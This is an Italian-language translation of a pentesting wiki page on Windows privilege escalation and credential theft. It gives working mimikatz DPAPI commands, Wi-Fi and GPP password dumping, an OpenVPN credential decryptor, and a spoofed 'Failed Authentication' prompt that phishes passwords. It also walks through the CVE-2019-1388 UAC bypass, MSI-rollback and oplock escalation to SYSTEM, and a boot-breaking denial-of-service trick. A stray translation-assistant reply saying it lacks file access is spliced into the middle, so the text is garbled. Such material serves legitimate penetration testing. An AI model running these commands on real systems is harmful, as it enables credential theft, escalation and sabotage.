Le chiavi RSA utente cifrate, tramite DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect{SID}, dove {SID} rappresenta il Security Identifier dell'utente. La chiave DPAPI, co-locata con la master key che protegge le chiavi private dell'utente nello stesso file, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando dir in CMD, sebbene possa essere elencata tramite PowerShell).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puoi usare il mimikatz module dpapi::masterkey con gli argomenti appropriati (/pvk o /rpc) per decrittarlo.

I file delle credenziali protetti dalla master password si trovano solitamente in:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puoi usare mimikatz module dpapi::cred con il /masterkey appropriato per decrypt.
Puoi extract many DPAPI masterkeys from memory con il modulo sekurlsa::dpapi (se sei root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials sono spesso usate per attività di scripting e automazione come modo comodo per memorizzare credenziali criptate. Le credenziali sono protette usando DPAPI, il che generalmente significa che possono essere decrypt solo dallo stesso utente sullo stesso computer su cui sono state create.

Per decrypt una PS credentials dal file che la contiene puoi fare:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Connessioni RDP salvate

Puoi trovarle in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandi eseguiti di recente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gestore delle credenziali del Desktop remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa il modulo Mimikatz dpapi::rdg con il /masterkey appropriato per decriptare qualsiasi file .rdg
Puoi estrarre molte DPAPI masterkeys dalla memoria con il modulo Mimikatz sekurlsa::dpapi

Sticky Notes

Le persone spesso usano l'app StickyNotes su workstation Windows per salvare password e altre informazioni, senza rendersi conto che si tratta di un file di database. Questo file si trova in C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ed è sempre utile cercarlo ed esaminarlo.

AppCmd.exe

Nota che per recuperare le password da AppCmd.exe è necessario essere Administrator ed eseguire con un livello di integrità High.
AppCmd.exe si trova nella directory %systemroot%\system32\inetsrv\.\ Se questo file esiste allora è possibile che alcune credentials siano state configurate e possano essere recuperate.

Questo codice è stato estratto da PowerUP:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Verifica se C:\Windows\CCM\SCClient.exe esiste .
Gli installer vengono eseguiti con privilegi SYSTEM, molti sono vulnerabili a DLL Sideloading (Info da https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

File e Registro (Credenziali)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys nel registro

Le chiavi private SSH possono essere memorizzate nella chiave di registro HKCU\Software\OpenSSH\Agent\Keys, quindi dovresti controllare se c'è qualcosa di interessante lì:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se trovi una voce in quel percorso probabilmente è una SSH key salvata. È memorizzata crittografata ma può essere facilmente decrittata usando https://github.com/ropnop/windows_sshagent_extract.
Maggiori informazioni su questa tecnica qui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se il servizio ssh-agent non è in esecuzione e vuoi che si avvii automaticamente all'avvio, esegui:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Sembra che questa tecnica non sia più valida. Ho provato a creare delle chiavi ssh, aggiungerle con ssh-add e collegarmi via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di dpapi.dll durante l'autenticazione con chiave asimmetrica.

File non presidiati

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Puoi anche cercare questi file usando metasploit: post/windows/gather/enum_unattend

Esempio di contenuto:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Backup di SAM e SYSTEM

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenziali Cloud

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Cerca un file chiamato SiteList.xml

Password GPP memorizzata nella cache

Una funzione era precedentemente disponibile che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi falle di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una chiave predefinita documentata pubblicamente, potevano essere decrittate da qualsiasi utente autenticato. Questo rappresentava un rischio serio, in quanto poteva consentire agli utenti di ottenere privilegi elevati.

Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente che contengono un campo "cpassword" non vuoto. Quando viene trovato un file del genere, la funzione decifra la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, agevolando l'identificazione e la mitigazione di questa vulnerabilità di sicurezza.

Cerca in C:\ProgramData\Microsoft\Group Policy\history o in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (precedente a Windows Vista) per questi file:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Per decifrare il cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec per ottenere le password:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Esempio di web.config con credenziali:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN credenziali

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Chiedere le credentials

Puoi sempre chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente se pensi che possa conoscerle (nota che chiedere al cliente direttamente le credentials è davvero rischioso):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Nomi di file possibili contenenti credentials

File noti che tempo fa contenevano passwords in clear-text o Base64

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Non ho accesso al tuo filesystem o al repository. Per favore fornisci il contenuto del file src/windows-hardening/windows-local-privilege-escalation/README.md (o caricalo), oppure fornisci l'elenco dei file o un link pubblico al repo. Posso quindi tradurre il testo in italiano mantenendo intatta la sintassi markdown/HTML come richiesto. Quale preferisci?

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials in the RecycleBin

Dovresti inoltre controllare il Bin per cercare credentials al suo interno

Per recover passwords salvate da diversi programmi puoi usare: http://www.nirsoft.net/password_recovery_tools.html

Inside the registry

Altre possibili registry keys con credentials

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Cronologia dei browser

Dovresti cercare i dbs dove vengono memorizzate le password di Chrome or Firefox.
Controlla anche la history, i bookmarks e i favourites dei browser perché potrebbero essere memorizzate lì alcune passwords.

Strumenti per estrarre password dai browser:

COM DLL Overwriting

Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette la comunicazione tra componenti software scritti in linguaggi differenti. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs).

Le classi e le interfacce COM sono definite nel registro sotto HKEY\CLASSES\ROOT\CLSID e HKEY\CLASSES\ROOT\Interface rispettivamente. Questo registro è creato unendo HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

All'interno dei CLSID di questo registro puoi trovare la chiave figlia InProcServer32 che contiene un valore di default che punta a una DLL e un valore chiamato ThreadingModel che può essere Apartment (a singolo thread), Free (multi-thread), Both (singolo o multi) o Neutral (neutro rispetto al thread).

Fondamentalmente, se puoi sovrascrivere una qualsiasi delle DLL che verranno eseguite, potresti ottenere privilegi elevati se quella DLL verrà eseguita da un utente diverso.

Per sapere come gli attacker usano COM Hijacking come meccanismo di persistenza, consulta:

COM Hijacking

Ricerca generica di password in file e nel registro

Cerca nel contenuto dei file

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Cerca un file con un determinato nome

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Cerca nel registro nomi delle chiavi e password

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Strumenti che cercano passwords

MSF-Credentials Plugin è un plugin per msf. Ho creato questo plugin per eseguire automaticamente ogni metasploit POST module che cerca credentials all'interno della macchina vittima.\
Winpeas cerca automaticamente tutti i file che contengono passwords menzionati in questa pagina.\
Lazagne è un altro ottimo strumento per estrarre password da un sistema.

Lo strumento SessionGopher cerca sessions, usernames e passwords di diversi strumenti che salvano questi dati in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, e RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()) con accesso completo. Lo stesso processo crea anche un nuovo processo (CreateProcess()) con privilegi ridotti ma che eredita tutte le handle aperte del processo principale.\ Poi, se hai accesso completo al processo a basso privilegio, puoi prendere l'handle aperta verso il processo privilegiato creato con OpenProcess() e iniettare shellcode.\ Read this example for more information about how to detect and exploit this vulnerability.\ Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

I segmenti di memoria condivisa, chiamati pipes, consentono la comunicazione e il trasferimento di dati tra processi.

Windows fornisce una funzionalità chiamata Named Pipes, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un'architettura client/server, con ruoli definiti come named pipe server e named pipe client.

Quando i dati vengono inviati attraverso una pipe da un client, il server che ha creato la pipe ha la possibilità di assumere l'identità del client, a condizione che possieda i diritti SeImpersonate. Identificare un processo privilegiato che comunica tramite una pipe che puoi emulare offre l'opportunità di ottenere privilegi più elevati adottando l'identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire un tale attacco, guide utili sono disponibili here e here.

Inoltre il seguente tool permette di intercettare una comunicazione tramite named pipe con uno strumento come burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e questo tool permette di elencare e vedere tutte le pipes per trovare privescs https://github.com/cyberark/PipeViewer

Misc

Estensioni di file che possono eseguire codice in Windows

Consulta la pagina https://filesec.io/

Monitoring Command Lines for passwords

Quando ottieni una shell come utente, possono esserci attività pianificate o altri processi in esecuzione che passano credenziali sulla linea di comando. Lo script sotto cattura le linee di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, mostrando eventuali differenze.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Rubare password dai processi

Da Low Priv User a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se hai accesso all'interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminal o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" da un utente non privilegiato.

Questo permette di aumentare i privilegi e bypassare UAC contemporaneamente sfruttando la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binario utilizzato durante il processo è firmato e rilasciato da Microsoft.

Alcuni dei sistemi interessati sono i seguenti:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

L'attacco consiste fondamentalmente nell'abusare della funzionalità di rollback del Windows Installer per sostituire file legittimi con file malevoli durante il processo di uninstall. Per questo l'attaccante deve creare un malicious MSI installer che verrà usato per hijackare la cartella C:\Config.Msi, che sarà poi usata dal Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback saranno modificati per contenere il payload malevolo.

La tecnica riassunta è la seguente:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Passo 1: Install the MSI

  • Crea un .msi che installa un file innocuo (es., dummy.txt) in una cartella scrivibile (TARGETDIR).

  • Marca l'installer come "UAC Compliant", così un non-admin user può eseguirlo.

  • Tieni aperto un handle sul file dopo l'installazione.

  • Passo 2: Begin Uninstall

  • Disinstalla lo stesso .msi.

  • Il processo di uninstall inizia a spostare i file in C:\Config.Msi e a rinominarli in file .rbf (backup di rollback).

  • Interroga l'handle aperto usando GetFinalPathNameByHandle per rilevare quando il file diventa C:\Config.Msi\<random>.rbf.

  • Passo 3: Custom Syncing

  • Il .msi include una custom uninstall action (SyncOnRbfWritten) che:

  • Segnala quando il .rbf è stato scritto.

  • Poi attende su un altro evento prima di continuare l'uninstall.

  • Passo 4: Block Deletion of .rbf

  • Quando segnalato, apri il file .rbf senza FILE_SHARE_DELETE — questo impedisce che venga cancellato.

  • Poi segnala di ritorno così l'uninstall può completare.

  • Windows Installer non riesce a cancellare il .rbf, e poiché non può eliminare tutto il contenuto, C:\Config.Msi non viene rimosso.

  • Passo 5: Manually Delete .rbf

  • Tu (attaccante) cancelli manualmente il file .rbf.

  • Ora C:\Config.Msi è vuota, pronta per essere hijackata.

A questo punto, trigger the SYSTEM-level arbitrary folder delete vulnerability per eliminare C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Passo 6: Recreate C:\Config.Msi with Weak ACLs

  • Ricrea la cartella C:\Config.Msi tu stesso.

  • Imposta weak DACLs (es., Everyone:F), e tieni aperto un handle con WRITE_DAC.

  • Passo 7: Run Another Install

  • Installa di nuovo il .msi, con:

  • TARGETDIR: posizione scrivibile.

  • ERROROUT: una variabile che forza un failure.

  • Questa installazione sarà usata per triggerare di nuovo il rollback, che legge .rbs e .rbf.

  • Passo 8: Monitor for .rbs

  • Usa ReadDirectoryChangesW per monitorare C:\Config.Msi fino a quando non appare un nuovo .rbs.

  • Cattura il suo nome file.

  • Passo 9: Sync Before Rollback

  • Il .msi contiene una custom install action (SyncBeforeRollback) che:

  • Segnala un evento quando il .rbs viene creato.

  • Poi attende prima di continuare.

  • Passo 10: Reapply Weak ACL

  • Dopo aver ricevuto l'evento .rbs created:

  • Il Windows Installer riapplica ACL forti a C:\Config.Msi.

  • Ma poiché hai ancora un handle con WRITE_DAC, puoi riapplicare ACL deboli di nuovo.

Le ACL vengono fatte valere solo all'apertura dell'handle, quindi puoi ancora scrivere nella cartella.

  • Passo 11: Drop Fake .rbs and .rbf

  • Sovrascrivi il file .rbs con uno fake rollback script che dice a Windows di:

  • Ripristinare il tuo .rbf (DLL malevola) in una posizione privilegiata (es., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Depositare il tuo fake .rbf contenente una malicious SYSTEM-level payload DLL.

  • Passo 12: Trigger the Rollback

  • Segnala l'evento di sync così l'installer riprende.

  • Una type 19 custom action (ErrorOut) è configurata per fallire intenzionalmente l'install in un punto noto.

  • Questo causa l'inizio del rollback.

  • Passo 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Legge il tuo malicious .rbs.

  • Copia il tuo .rbf DLL nella destinazione.

  • Ora hai la tua malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Esegui un trusted auto-elevated binary (es., osk.exe) che carica la DLL che hai hijackato.

  • Boom: il tuo codice viene eseguito as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

La principale tecnica del rollback MSI (quella precedente) assume che tu possa eliminare un'intera cartella (es., C:\Config.Msi). Ma cosa succede se la tua vulnerabilità permette solo la cancellazione arbitraria di file?

Potresti sfruttare gli internals di NTFS: ogni cartella ha uno stream di dati alternativo nascosto chiamato:

C:\SomeFolder::$INDEX_ALLOCATION

Questo stream memorizza i metadati dell'indice della cartella.

Quindi, se cancelli lo stream ::$INDEX_ALLOCATION di una cartella, NTFS rimuove l'intera cartella dal filesystem.

Puoi farlo usando API standard per l'eliminazione di file, come:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Anche se stai chiamando un'API di cancellazione di file, essa cancella la cartella stessa.

From Folder Contents Delete to SYSTEM EoP

Cosa succede se la tua primitive non ti permette di eliminare file/cartelle arbitrari, ma ti permette di eliminare il contenuto di una cartella controllata dall'attaccante?

  1. Passo 1: Prepara una cartella esca e un file
  • Crea: C:\temp\folder1
  • Al suo interno: C:\temp\folder1\file1.txt
  1. Passo 2: Posiziona un oplock su file1.txt
  • L'oplock mette in pausa l'esecuzione quando un processo privilegiato prova a eliminare file1.txt.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Passo 3: Innescare il processo SYSTEM (es. SilentCleanup)
  • Questo processo scansiona cartelle (es. %TEMP%) e tenta di eliminare il loro contenuto.
  • Quando raggiunge file1.txt, l'oplock si attiva e cede il controllo al tuo callback.
  1. Passo 4: All'interno del callback dell'oplock – reindirizzare la cancellazione

  • Opzione A: Spostare file1.txt altrove

  • Questo svuota folder1 senza rompere l'oplock.

  • Non eliminare file1.txt direttamente — ciò libererebbe l'oplock prematuramente.

  • Opzione B: Convertire folder1 in una junction:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opzione C: Crea un symlink in \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Questo prende di mira lo stream interno di NTFS che memorizza i metadati della cartella — cancellarlo cancella la cartella.

  1. Passo 5: Rilascia l'oplock
  • Il processo SYSTEM continua e tenta di cancellare file1.txt.
  • Ma ora, a causa della junction + symlink, in realtà sta cancellando:
C:\Config.Msi::$INDEX_ALLOCATION

Risultato: C:\Config.Msi viene eliminato da SYSTEM.

Da Arbitrary Folder Create a Permanent DoS

Sfrutta una primitiva che ti permette di create an arbitrary folder as SYSTEM/admin — anche se non puoi scrivere file o impostare permessi deboli.

Crea una cartella (non un file) con il nome di un driver critico di Windows, ad es.:

C:\Windows\System32\cng.sys
  • Questo percorso corrisponde normalmente al driver in modalità kernel cng.sys.
  • Se lo crei preventivamente come cartella, Windows non riesce a caricare il driver effettivo all'avvio.
  • Poi, Windows tenta di caricare cng.sys durante l'avvio.
  • Vede la cartella, non riesce a risolvere il driver effettivo, e va in crash o blocca l'avvio.
  • Non esistono meccanismi di fallback, né procedure di recovery senza intervento esterno (es. riparazione del boot o accesso al disco).

